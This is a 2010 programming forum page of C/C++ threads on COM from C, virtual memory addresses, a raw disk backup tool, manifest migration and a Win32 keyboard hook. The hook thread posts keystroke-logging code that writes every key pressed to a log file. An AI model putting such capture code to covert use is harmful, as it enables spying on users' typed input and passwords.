C / C++ / MFC Discussion Boards

Fayu22-Apr-10 10:19

22-Apr-10 10:19

Is it possible to instanciate a COM object in C? I have tried googling this but to no avail.

The COM is created with C# and exposed. I can access the COM objects via C++ and VB6. For both C++ and VB6, I am using the tlb.

Thanks in advance.

-- Modified Thursday, April 22, 2010 4:29 PM

Re: Calling COM from C

Gwenio22-Apr-10 10:50

Gwenio

22-Apr-10 10:50

Try searching for articles on Code Project, with the search term "plain", C as the langauge, and COM as the technology. There is atleast one series of articles here on the subject, and you will be better off as using COM in C is complicated (but given that there are articles about it, doing so is possible).

Re: Calling COM from C

Richard MacCutchan22-Apr-10 11:09

Richard MacCutchan

22-Apr-10 11:09

Take a look at this excellent tutorial: COM in plain C[^].

It's time for a new signature.

Getting absolute address of variable in memory

chapultec22-Apr-10 10:10

chapultec

22-Apr-10 10:10

Hello,

I´ve tried running at the same time two instances of the program below.
I pass the running time in seconds as a command-line parameter.
I pass different values to the two instances, 7 for one and 9 for the other.

int iTest=0;
int _tmain(int argc, _TCHAR* argv[])
{
printf("iTest: %d \n", iTest); // prints 0
printf("&iTest: %p \n", &iTest);
// This prints "00417178" for both instances !!
iTest = atoi((char *) argv[1]);
printf("iTest: %d \n", iTest);
Sleep(iTest * 1000);
printf("iTest: %d \n", iTest);
// Though the pointer &iTest is the same, each instance
// prints its own value !!
Sleep(5000);
return 0;
}

Two questions:
1) Why the pointer is the same but the values are different ?
I imagine that this value refers to a relative location, is this the point ?

2) In this case, I need to know: is it possible to get the absolute address of the variable in RAM ?
My need is to assure we are not having problems using the same spaces in memory in some variables we are creating.

Thanks,
Emerson - from S.Paulo, Brazil

Re: Getting absolute address of variable in memory

Gwenio22-Apr-10 11:01

Gwenio

22-Apr-10 11:01

It would seem that like most modern operating systems, the one you are using makes use of paging; therefore all addresses are fake. Therefore it can load them to diffrent real addresses, and tell the program it is at the address it was meant to run at (all programs are compiled to run at a specific base address).

Re: Getting absolute address of variable in memory

chapultec22-Apr-10 14:23

chapultec

22-Apr-10 14:23

Gwenio,
You answered my question 1, thank you.
But I still need to know - is there some routine from WinAPI that I can use to get the real / physical / absolute address ?
The fact is I´m using a module from another person and I suspect he´s sharing some variable among different instances. I must be sure if it´s happening or not.

Re: Getting absolute address of variable in memory

CPallini22-Apr-10 21:57

CPallini

22-Apr-10 21:57

chapultec wrote:
But I still need to know - is there some routine from WinAPI that I can use to get the real / physical / absolute address ?
The fact is I´m using a module from another person and I suspect he´s sharing some variable among different instances.

WinAPI allow developers to share memory between applications without giving them knowledge of the physical address of the shared buffer, see [^].
Smile | :)

If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.

This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke

[My articles]

Re: Getting absolute address of variable in memory

Stephen Hewitt22-Apr-10 13:58

Stephen Hewitt

22-Apr-10 13:58

First some problems with your code.

chapultec wrote:
iTest = atoi((char *) argv[1]);

This is wrong. The type of the arguments is _TCHAR* argv[] so to assume the strings contained in the array are char*s is wrong. It should be something like this:

iTest = _ttoi(argv[1])

In general casting something into something it isn't (when the program is compiled as Unicode) doesn't transform it, it just tells the compiler to plough on and assume it is.

chapultec wrote:
// Though the pointer &iTest is the same, each instance
// prints its own value !!

Each process has its own memory space, even two instances of the same process. To get the behaviour you seem to be expecting you'd have to use shared memory. Address spaces are visualised by the OS (with hardware support) and an address in a process is not the physical address of the memory. The only place you'd use physical addresses is in device drivers, and even then only in certain circumstances (like telling some piece of hardware to perform a DMA operation).

Steve

Re: Getting absolute address of variable in memory

chapultec22-Apr-10 14:33

chapultec

22-Apr-10 14:33

Steve,

You´re right on your comment about this casting, but this statement may not be wrong (when one knows what he´s doing ...) In my project properties - General - Character set - I changed character set to "Use Multi-Byte Character Set". The option "Not Set" would get the same result. Right ?

In fact I don´t need to use shared memory, but I need to know if the guys who developed the module I´m using used some kind of shared memory or not. That´s why I think I need some kind of routine to catch the physical addresses of some variables. I don´t know if there´s some way to get it.
Thanks.

Re: Getting absolute address of variable in memory

Luc Pattyn22-Apr-10 14:28

Luc Pattyn

22-Apr-10 14:28

Hi,

operating systems such as Windows use "Virtual Memory" which means each process is presented memory independent of all other processes; so two processes may point at 0x2000 and that would touch different locations in physical memory.

The MMU (Memory Management Unit, part of a processor) translates the virtual addresses you see into physical addresses. Windows is rather reluctant to even tell you the physical memory, but you should not really care, processes have non-overlapping memory by default.

If you need to pass data to another process, there are several ways, such as shared memory; or the Win32 functions OpenProcess, ReadProcessMemory, WriteProcessMemory (but even those don't reveal physical addresses).

Smile | :)

Luc Pattyn [Forum Guidelines] [Why QA sucks] [My Articles]

Prolific encyclopedia fixture proof-reader browser patron addict?
We all depend on the beast below.

Re: Getting absolute address of variable in memory

Michel Godfroid23-Apr-10 1:34

Michel Godfroid

23-Apr-10 1:34

MmGetPhysicalAddress[^]
Doco says it should run at any IRQL, so user mode should be okay

I'm looking for a partner to help each other

fyl22222-Apr-10 6:57

fyl222

22-Apr-10 6:57

I want to find a partner who can teach me English,
I can teach him/her simple C++ or MFC
if you could teach me ,please Hit me with MSN(5224963@163.com)
thank you

Re: I'm looking for a partner to help each other

loyal ginger22-Apr-10 7:43

loyal ginger

22-Apr-10 7:43

You probably will have a better chance finding an American who lives in China to teach you English in exchange for your teaching him/her Chinese, not MFC.

Create Handle on Remote Disk or Volume

GaryT8022-Apr-10 5:57

GaryT80

22-Apr-10 5:57

I have an app that will collect all active data from a PHSICALDISK or a drive C:. I would like to apply this same logic to a remote machine. To create the handle on the local machine you use a pathing structure like:

\\\\.\\PHYSICALDISK0

or

\\\\.\\C:

What I would like to do is something like:

\\\\192.168.0.10\\PHYSICALDISK0

or

\\\\192.168.0.10\\C:

The code for collecting the local drive is below:

// Image3.cpp : Defines the entry point for the console application.
//

#define UNICODE 1
#define _UNICODE 1
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#include "ctype.h"
#include "strsafe.h"
#include "assert.h"

#define ARRLEN(c) (sizeof(c)/sizeof(c[0]))


template<class IntType>
bool AtoI(WCHAR *sz, IntType *out) {
	int i = 0;
	bool sign = false;
	if (sz[i] == '-') {
		++i;
		sign = true;
	}  
	int base = 10;
	if(sz[i] == '0' && tolower(sz[i+1]) == 'x') {
		i += 2;
		base = 16;
	} else if (sz[i] == '0' && sz[i+1] != '\0') {
		++i;
		base = 8;
	}
	IntType res = 0;
	int chars = 0;
	while (sz[i] != '\0') {
		WCHAR c = tolower(sz[i++]);
		if (c >= '0' && c <= '9')
			c = c - '0';
		else if (c >= 'a' && c <= 'f')
			c = c - 'a' + 10;
		else
			return false;
		if (c >= base)
			return false;
		IntType res_sav = res;
		res *= (IntType)base;
		if (res / (IntType)base != res_sav) {
			// Overflow!
			return false;
		}
		res_sav = res;
		res += (IntType)c;
		if (res < res_sav) {
			// Overflow!
			return false;
		}
		++chars;
	}
	if (chars == 0)
		return false;
	*out = sign ? -res : res;
	return true;
}

bool GetDeviceName(WCHAR *szDevName,
                   size_t cchDevName,
                   WCHAR *szInput) {
  unsigned int disk_no = 0;
  if (AtoI<unsigned int>(szInput, &disk_no)) {
    // It's a physical disk
    StringCchPrintfW(szDevName,
                     cchDevName,
                     L"\\\\.\\PHYSICALDRIVE%d", 
                     disk_no);
    return true;
  }

  WCHAR drive_letter = toupper(szInput[0]);
  if (drive_letter >= 'A' && 
      drive_letter <= 'Z' &&
      szInput[1] == ':' &&
      szInput[2] == '\0') {
    // It's a drive letter
    StringCchPrintfW(szDevName,
                     cchDevName,
                     L"\\\\.\\%c:",
                     drive_letter);
    return true;
  }

  WCHAR sz[_MAX_PATH];
  const WCHAR *p = wcsrchr(szInput, '\\');
  if (!p || p[1] != '\0') {
    // Mount point needs to end in backslash
    StringCchCopyW(sz, ARRLEN(sz), szInput);
    StringCchCatW(sz, ARRLEN(sz), L"\\");
    szInput = sz;
  }

  if (!GetVolumeNameForVolumeMountPointW(
      szInput, szDevName, cchDevName))
    return false;

  // This returns a name ending with '\'
  // but CreateFile does not take it, so
  // we need to get rid of it.
  WCHAR *q = wcsrchr(szDevName, '\\');
  if (q && q[1] == '\0')
    *q = '\0';

  return true;
}

HANDLE OpenBlockDevice(const WCHAR *szDevName,
                       bool fWrite) {
  HANDLE h = CreateFile(szDevName,
    fWrite ? GENERIC_WRITE : GENERIC_READ,
    FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
    FILE_FLAG_NO_BUFFERING |
        (fWrite ? FILE_FLAG_WRITE_THROUGH : 0),
    NULL);
  return h;
}

VOLUME_BITMAP_BUFFER *GetVolumeBitmap(
    HANDLE hDev, unsigned int *puiBitmapSize) {
  STARTING_LCN_INPUT_BUFFER sStartLcn;
  sStartLcn.StartingLcn.QuadPart = 0;

  DWORD dwBitmapSize = 0;
  DWORD dwAllocatedSize = 64 * 1024;
  VOLUME_BITMAP_BUFFER *pVolumeBitmap = NULL;
  for ( ; ; ) {
    pVolumeBitmap = (VOLUME_BITMAP_BUFFER *)
        LocalAlloc(LMEM_FIXED, dwAllocatedSize);

    BOOL ret = DeviceIoControl(hDev,
                      FSCTL_GET_VOLUME_BITMAP,
                      &sStartLcn,
                      sizeof(sStartLcn),
                      pVolumeBitmap,
                      dwAllocatedSize,
                      &dwBitmapSize,
                      NULL);
    if (ret) {
      *puiBitmapSize = dwBitmapSize;
      return pVolumeBitmap;
    }

    if (GetLastError() != ERROR_MORE_DATA)
      return NULL;

    dwAllocatedSize *= 2;
  }
}

#define SIG "Compressed Disk Image"

struct BackupHeader {
  char signature[sizeof(SIG)];
  unsigned int uiSectorSize;
  unsigned int uiClusterSize;
  unsigned int uiBitmapSize;
};


//Notice that in the case where pVolumeBitmap is NULL, 
//the function gets reduced to a very simple loop that just reads and writes the entire block device.
// This function assumes the ownership of
// pVolumeBitmap, i. e. it frees it.
// hFrom is the handle from which the data is read.
// hTo is the handle to which the data is written.
// hSeek is always the handle of the device - this
// is the pointer that is being moved to skip empty
// extents.
// For backup: hFrom = hSeek - disk handle
//             hTo - file handle
// For restore: hTo = hSeek - disk handle
//             hFrom - file handle
// If device is not an NTFS volume, pBackupData,
// pVolumeBitmap are both NULL.

DWORD Transfer(HANDLE hFrom,
               HANDLE hTo,
               HANDLE hSeek,
               BackupHeader *pBackupData,
               VOLUME_BITMAP_BUFFER *pVolumeBitmap,
               void *buffer,
               const unsigned int cbBufferSize,
               unsigned __int64 &ui64Bytes) {
  DWORD dwErr = ERROR_SUCCESS;

  // This is used to step through the bitmap
  // of used clusters.
  unsigned char bmpMask = 1;
  unsigned char *bmpIndex = NULL;
  int maxClustersPerRead = 0;
  unsigned __int64 maxClusters = 0;
  if (pVolumeBitmap) {
    bmpIndex = pVolumeBitmap->Buffer;
    maxClusters = pVolumeBitmap->BitmapSize.QuadPart;
    maxClustersPerRead = cbBufferSize /
        pBackupData->uiClusterSize;
  }

  unsigned __int64 cluster = 0;
  bool fTerm = false;

  while (!fTerm) {
    DWORD dwToMove = cbBufferSize;
    if (pVolumeBitmap) {
      // Skip empty. Note that at the end
      // of this loop cluster can be more
      // than maxCluster, because sometimes
      // we step in 8.
      while (cluster < maxClusters) {
        if (!*bmpIndex) {
          cluster += 8;

          ++bmpIndex;
          assert(bmpMask == 1);

          continue;
        }

        if ((*bmpIndex & bmpMask) == 0) {
          ++cluster;

          bmpMask <<= 1;
          if (! bmpMask) {
            bmpMask = 1;
            ++bmpIndex;
          }

          continue;
        }
        break;
      }

      dwToMove = 0;
      int numClusters = 0;
      while (cluster  + numClusters < maxClusters
          && numClusters < maxClustersPerRead
          && (*bmpIndex & bmpMask) != 0) {
        dwToMove += pBackupData->uiClusterSize;
        ++numClusters;

        bmpMask <<= 1;
        if (!bmpMask) {
          bmpMask = 1;
          ++bmpIndex;
        }
      }

      assert(dwToMove <= cbBufferSize);
      if (dwToMove == 0) { // The End?
        // The last sector on the volume
        // contains duplicate of the boot
        // sector, but is not part of the
        // volume map.
        dwToMove = pBackupData->uiSectorSize;

        // Since we might have skipped more
        // clusters than there were because
        // sometimes we count by 8-s, we reset
        // the current cluster count as well:
        cluster = maxClusters;

        // Convenient place to free the bitmap.
        LocalFree(pVolumeBitmap);
        pVolumeBitmap = NULL;
        fTerm = true;
      }

      unsigned __int64 offset = cluster *
        (unsigned __int64)pBackupData->uiClusterSize;

      if (!SetFilePointerEx(hSeek,
                            *(LARGE_INTEGER *)&offset,
                            NULL,
                            FILE_BEGIN)) {
        dwErr = GetLastError();
        wprintf(L"Seek error %d (0x%08x)\n",
            dwErr, dwErr);
      }

      cluster += numClusters;
    }

    DWORD dwRead = 0;
    if (!ReadFile(hFrom, buffer,
        dwToMove, &dwRead, NULL)) {
        dwErr = GetLastError();
        wprintf(L"\nRead error %d (0x%08x)\n",
            dwErr, dwErr);
        break;
    }

    if (dwRead == 0)
      break;

    DWORD dwWrit = 0;
    if (!WriteFile(hTo, buffer,
        dwRead, &dwWrit, NULL) ||
        dwWrit != dwRead) {
      dwErr = GetLastError();
      wprintf(L"\nWrite error %d (0x%08x)\n",
          dwErr, dwErr);
      break;
    }

    ui64Bytes += dwWrit;
    wprintf(L"%I64u\r", ui64Bytes);
  }

  return dwErr;
}
DWORD ReadToFile(HANDLE hDev,
                 HANDLE hFile,
                 void *buffer,
                 const unsigned int cbBufferSize,
                 unsigned __int64 &ui64BytesRead) {
  DWORD dwErr = ERROR_SUCCESS;

  unsigned int uiBitmapSize = 0;
  VOLUME_BITMAP_BUFFER *pVolumeBitmap = NULL;

  NTFS_VOLUME_DATA_BUFFER sVolumeData;
  DWORD dwRead = 0;
  // For NTFS volumes we can store just the
  // clusters that are used. We get the
  // bitmap where 1 means that the cluster
  // is used here.
  if (DeviceIoControl(hDev,
                      FSCTL_GET_NTFS_VOLUME_DATA,
                      NULL,
                      0,
                      &sVolumeData,
                      sizeof(sVolumeData),
                      &dwRead,
                      NULL)) {
    // For NTFS disable volume boundary checks by FS
    DWORD dwBytes = 0;
    DeviceIoControl(hDev,
                    FSCTL_ALLOW_EXTENDED_DASD_IO,
                    NULL,
                    0,
                    NULL,
                    0,
                    &dwBytes,
                    NULL);

    pVolumeBitmap = GetVolumeBitmap(hDev, &uiBitmapSize);
  }

  BackupHeader h;
  DWORD dwWrit = 0;
  if (pVolumeBitmap) {
    memcpy(h.signature, SIG, sizeof(SIG));
    h.uiBitmapSize = uiBitmapSize;
    h.uiSectorSize = sVolumeData.BytesPerSector;
    h.uiClusterSize = sVolumeData.BytesPerCluster;
    if (!WriteFile(hFile,
                   &h,
                   sizeof(h),
                   &dwWrit,
                   NULL)
        || dwWrit != sizeof(h)) {
      dwErr = GetLastError();
      wprintf(L"Write error %d (0x%08x)\n",
          dwErr, dwErr);
      return dwErr;
    }

    if (!WriteFile(hFile,
                   pVolumeBitmap,
                   uiBitmapSize,
                   &dwWrit,
                   NULL)
        || dwWrit != uiBitmapSize) {
      dwErr = GetLastError();
      wprintf(L"Write error %d (0x%08x)\n",
          dwErr, dwErr);
      return dwErr;
    }
  }

  return Transfer(hDev,
                  hFile,
                  hDev,
                  &h,
                  pVolumeBitmap,
                  buffer,
                  cbBufferSize,
                  ui64BytesRead);
}
DWORD WriteFromFile(HANDLE hDev,
                 HANDLE hFile,
                 void *buffer,
                 const unsigned int cbBufferSize,
                 unsigned __int64 &ui64BytesWritten) {
  DWORD dwRead = 0;
  DeviceIoControl(hDev,
                  FSCTL_ALLOW_EXTENDED_DASD_IO,
                  NULL,
                  0,
                  NULL,
                  0,
                  &dwRead,
                  NULL);

  unsigned int uiBitmapSize = 0;
  VOLUME_BITMAP_BUFFER *pVolumeBitmap = NULL;

  BackupHeader h;

  if (ReadFile(hFile, &h, sizeof(h), &dwRead, NULL)
      && dwRead == sizeof(h)) {
    if (memcmp(h.signature, SIG, sizeof(SIG)) == 0) {
      pVolumeBitmap = (VOLUME_BITMAP_BUFFER *)
          LocalAlloc(LMEM_FIXED, h.uiBitmapSize);
      if (!ReadFile(hFile, pVolumeBitmap, h.uiBitmapSize,
          &dwRead, NULL) || dwRead != h.uiBitmapSize) {
        wprintf(L"Backup corrupted - could not read the "
                L"volume bitmap!\n");
        return ERROR_DATA_NOT_ACCEPTED;
      }
    } else
      SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
  }

  DWORD dwErr = Transfer(hFile,
                         hDev,
                         hDev,
                         &h,
                         pVolumeBitmap,
                         buffer,
                         cbBufferSize,
                         ui64BytesWritten);

  DeviceIoControl(hDev,
                  IOCTL_DISK_UPDATE_PROPERTIES,
                  NULL,
                  0,
                  NULL,
                  0,
                  &dwRead,
                  NULL);

  return dwErr;
}

int _tmain(int argc, WCHAR **argv) {
  if (argc < 4) {
    wprintf(L"Usage: %s {disk|volume} cmd "
            L"args\n", argv[0]);
    wprintf(L"Where disk is physical number "
            L"of the drive, e. g. 0\n");
    wprintf(L"Volume is a drive letter or a "
            L"full path to \n");
    wprintf(L"the mount point, e. g. a: or "
            L"c:\\mount\\vol\n");
    wprintf(L"Commands:\n");
    wprintf(L"readto filename - read the "
            L"contents of the device into "
            L"a file\n");
    wprintf(L"writefrom filename - write the "
            L"contents of the file onto "
            L"the disk or volume\n");
    return 0;
  }

  UINT uiErrModeSav = SetErrorMode(
      SEM_FAILCRITICALERRORS);

  WCHAR szDevName[_MAX_PATH];
  if (!GetDeviceName(szDevName,
                     ARRLEN(szDevName),
                     argv[1])) {
    wprintf(L"Could not recognize %s\n", argv[1]);
    SetErrorMode(uiErrModeSav);
    return 1;
  }

  const int kBufferSize = 64 * 1024;
  void *buffer = VirtualAlloc(
      NULL,
      kBufferSize,
      MEM_COMMIT | MEM_RESERVE,
      PAGE_READWRITE);
  if (!buffer) {
    DWORD dwErr = GetLastError();
    wprintf (L"Could not reserve memory, "
             L"error %d (0x%08x)\n", dwErr, dwErr);
    SetErrorMode(uiErrModeSav);
    return 3;
  }

  DWORD dwTickStart = GetTickCount();
  unsigned __int64 ui64Bytes = 0;
  DWORD dwErr = ERROR_SUCCESS;
  if (_wcsicmp(argv[2], L"readto") == 0) {
    HANDLE hDev = OpenBlockDevice(szDevName, false);
    if (hDev != INVALID_HANDLE_VALUE) {
      HANDLE hFile = CreateFile(
          argv[3], GENERIC_WRITE, 0, NULL,
          CREATE_ALWAYS, 0, NULL);
      if (hFile != INVALID_HANDLE_VALUE) {
        wprintf(L"%s --> %s:\n", szDevName, argv[3]);
        dwErr = ReadToFile(hDev,
                           hFile,
                           buffer,
                           kBufferSize,
                           ui64Bytes);
        CloseHandle(hFile);
        if (dwErr != ERROR_SUCCESS)
          DeleteFile(argv[3]);
      } else {
        dwErr = GetLastError();
        wprintf (L"Could not open %s, error %d "
                 L"(0x%08x)\n", argv[3],
                 dwErr, dwErr);
      }
      CloseHandle(hDev);
    } else {
      dwErr = GetLastError();
      wprintf(L"Could not open %s, "
              L"error %d (0x%08x)\n",
              argv[1], dwErr, dwErr);
    }
  } else if (_wcsicmp(argv[2], L"writefrom") == 0) {
    HANDLE hDev = OpenBlockDevice(szDevName, true);
    if (hDev != INVALID_HANDLE_VALUE) {
      HANDLE hFile = CreateFile(
          argv[3], GENERIC_READ, 0, NULL,
          OPEN_EXISTING, 0, NULL);
      if (hFile != INVALID_HANDLE_VALUE) {
        wprintf(L"%s --> %s:\n", argv[3], szDevName);
        dwErr = WriteFromFile(hDev,
                              hFile,
                              buffer,
                              kBufferSize,
                              ui64Bytes);
        CloseHandle(hFile);
      } else {
        dwErr = GetLastError();
        wprintf (L"Could not open %s, error %d "
                 L"(0x%08x)\n", argv[3],
                 dwErr, dwErr);
      }
      CloseHandle(hDev);
    } else {
      dwErr = GetLastError();
      wprintf(L"Could not open %s, "
              L"error %d (0x%08x)\n",
              argv[1], dwErr, dwErr);
    }
  } else {
    wprintf (L"Command %s not recognized.\n",
             argv[2]);
    dwErr = ERROR_NOT_SUPPORTED;
  }

  if (dwErr == ERROR_SUCCESS &&
      ui64Bytes != 0) {
    wprintf(L"Transferred %I64u bytes in %d "
            L"seconds.\n", ui64Bytes,
            (GetTickCount() - dwTickStart) / 1000);
  }

  VirtualFree(buffer, 0, MEM_RELEASE);
  SetErrorMode(uiErrModeSav);

  return dwErr == ERROR_SUCCESS ? 0 : 4;
}

Thanks for anyones assistance with this attempt. I may need to have some sort of authentication / impersonation coding but that will come once I can detect the devices.

Re: Create Handle on Remote Disk or Volume

Michel Godfroid22-Apr-10 7:34

Michel Godfroid

22-Apr-10 7:34

Impossible. You'll have to install a service on that remote machine, and let that service do the job for you. Nothing in window will share a physical disk.

Migrating code from VS6 to vs 2008 Reloaded

Jim Crafton22-Apr-10 5:18

Jim Crafton

22-Apr-10 5:18

I'm migrating another app from VS6 to VS 2008. This time the problem is with the XP visual styles. Before, in VS6, I had customized the .rc file to have a new resource that pointed to a manifest.xml file and was set for a resource type of RT_MANIFEST with an id of 1.
After rebuilding in VS 2008, the app isn't picking up the XP styles. The exe seems to have the resource embedded successfully, but it's not working? The app is an MFC based app, and links statically to MFC/CRT.

Any ideas on how to fix this?

¡El diablo está en mis pantalones! ¡Mire, mire!
SELECT * FROM User WHERE Clue > 0
0 rows returned
Save an Orange - Use the VCF!
Personal 3D projects
Just Say No to Web 2 Point Blow

Re: Migrating code from VS6 to vs 2008 Reloaded

Joe Woodbury22-Apr-10 8:23

Joe Woodbury

22-Apr-10 8:23

Try putting the following code in the stdafx.h file (or, if you aren't using precompiled headers, in your main .cpp file.)

#if defined _M_IX86
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
#elif defined _M_IA64
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='ia64' publicKeyToken='6595b64144ccf1df' language='*'\"")
#elif defined _M_X64
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
#else
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
#endif

Re: Migrating code from VS6 to vs 2008 Reloaded

Jim Crafton22-Apr-10 8:24

Jim Crafton

22-Apr-10 8:24

OK thanks!

¡El diablo está en mis pantalones! ¡Mire, mire!
SELECT * FROM User WHERE Clue > 0
0 rows returned
Save an Orange - Use the VCF!
Personal 3D projects
Just Say No to Web 2 Point Blow

Re: Migrating code from VS6 to vs 2008 Reloaded

Maximilien22-Apr-10 10:14

Maximilien

22-Apr-10 10:14

Jim, I'm surprised you did not known those lines by heart!

Watched code never compiles.

Re: Migrating code from VS6 to vs 2008 Reloaded

Jim Crafton22-Apr-10 10:17

Jim Crafton

22-Apr-10 10:17

Yeah, well, some things slip by all of us Smile | :)

I knew pragma comment, but not the linker bit. I found an alternate way to load up the external manifest I was using and merge(?) that into the manifest that the Manifest Tool builds into the exe. So I learned 2 things today!

¡El diablo está en mis pantalones! ¡Mire, mire!
SELECT * FROM User WHERE Clue > 0
0 rows returned
Save an Orange - Use the VCF!
Personal 3D projects
Just Say No to Web 2 Point Blow

Class View - "Add" menu item is missing for some classes.

Mike Doner22-Apr-10 4:54

Mike Doner

22-Apr-10 4:54

Quick Question..

Not sure what's happening, but for some classes, when I right click, the "Add" menu item is missing completely, leaving me without the functionality to Add a Variable or Function. I also notice that when I click Properties, all the fields for this class are read-only.

I notice that the classes than I CAN "Add" to, have a ">" to the left of them in the display, and some of the fields are read/write.

I'm sure its something simple I'm overlooking, its driving me crazy!

Using VS.2010.

Mike

window handle of a key pressed

Srivathsa_22-Apr-10 3:55

Srivathsa_

22-Apr-10 3:55

HI all,
I'm trying to intercept keys pressed from a keyboard..
I'm doin it in C(win32), using VS2008 IDE
I'm not able get the window handle of the key pressed.. i want to build a hierarchy from this handle by next calling the GetParent() till the application window..
Not able to find the first handle.. stuck up here since a week..
Also, i 'm not able to intercept combination keys like, CTRL+A, ALT+F etc., & since 'm using keydown & so not able to restrict series of CTRL, ALT, CAPS_LOCK keys, wherin i need just a single entry for such keys..
'm posting the code below..

__declspec(dllexport) LRESULT CALLBACK KeyBoardProc(int Code, WPARAM wParam, LPARAM lParam)
{
	if ( Code < 0  ) 
		return CallNextHookEx(hKeyHook, Code, wParam, lParam);
 
	if( Code == HC_ACTION && !(lParam & (1 << 31)) )
                  ProcessKey(wParam, lParam);
 
	return CallNextHookEx(hKeyHook, Code, wParam, lParam);
}
 
DWORD ProcessKey(WPARAM wParam, LPARAM lParam)
{
	BYTE KeyBoardState[256];
	WCHAR TempBuffer[50];
 
	int Index, RepeatCount = 1;
 
	hActiveWnd = NULL;
	hActiveWnd = GetActiveWindow();
 
	switch(wParam)
	{
	case VK_RETURN:
		WriteToLog(L"\n"); // writing key pressed to file
		break;
 
	case VK_TAB:
		WriteToLog(L"[TAB]");
		break;
 
	case VK_BACK:							
		WriteToLog(L"[BS]");
		break;
 
	case  VK_CONTROL:
		if(lParam & 0x01000000)	//scan code :scan code 24th bit is high right alt key is pressed
			WriteToLog(L"[RCTRL]");
		else
			WriteToLog(L"[LCTRL]");
		break;
 
	case  VK_SHIFT:
		if(lParam & 0x040000)	//scan code
			WriteToLog(L"[RSHIFT]");	//Right Shift:1[1]0[1]100000000000000001->0x36
		else
			WriteToLog(L"[LSHIFT]");	//Left Shift :1[0]1[0]100000000000000001->0xAA
		break;
 
	case VK_MENU:
		if(lParam & 0x01000000)	//scan code :24th bit is high right alt key is pressed
			WriteToLog(L"[RALT]");
		else
			WriteToLog(L"[LALT]");
		break;
 
	case VK_LEFT:
		WriteToLog(L"[LARROW]");
		break;
 
	case VK_RIGHT:
		WriteToLog(L"[RARROW]");
		break;
 
	case VK_UP:
		WriteToLog(L"[UPARROW]");
		break;
 
	case VK_DOWN:
		WriteToLog(L"[DOWNARROW]");
		break;
 
	case VK_ESCAPE:
		WriteToLog(L"[ECS]");
		break;
 
	default:
		GetKeyboardState(KeyBoardState);
		UINT ScanCode = lParam & 0X00FF0000;
 
		memset(TempBuffer, 0, sizeof(TempBuffer));
 
		ToAscii(wParam, ScanCode, KeyBoardState, (LPWORD)TempBuffer, 0);
 
		WriteToLog(TempBuffer);
 
		break;
	}	//end of switch		
 
	return TRUE;
}

Any suggestions would be of great help..

look fwd to ur help....
thank yu Smile | :)

Re: window handle of a key pressed

Code-o-mat22-Apr-10 4:46

Code-o-mat

22-Apr-10 4:46

My guess is that your hook gets called before the program actuyally routes the message towards any window. I don't know by heart how keyboard events are routed but my guess would be that they are targeted at the window owning the input focus. So try experimenting with the window returned by GetFocus[^], or try a different hook, like WH_GETMESSAGE, at this point i believe you can check weather the message is WM_KEYDOWN, WM_KEYUP or somesuch and hande it as you like.

> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Sometimes you just have to hate coding to do it well. <

Re: window handle of a key pressed

Srivathsa_22-Apr-10 4:48

Srivathsa_

22-Apr-10 4:48

ok.. thanks a lot.. 'll try tat n get back to u..

Re: window handle of a key pressed

Stephen Hewitt22-Apr-10 5:11

Stephen Hewitt

22-Apr-10 5:11

You don't need to export the hook function. Just say'n.

Steve

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.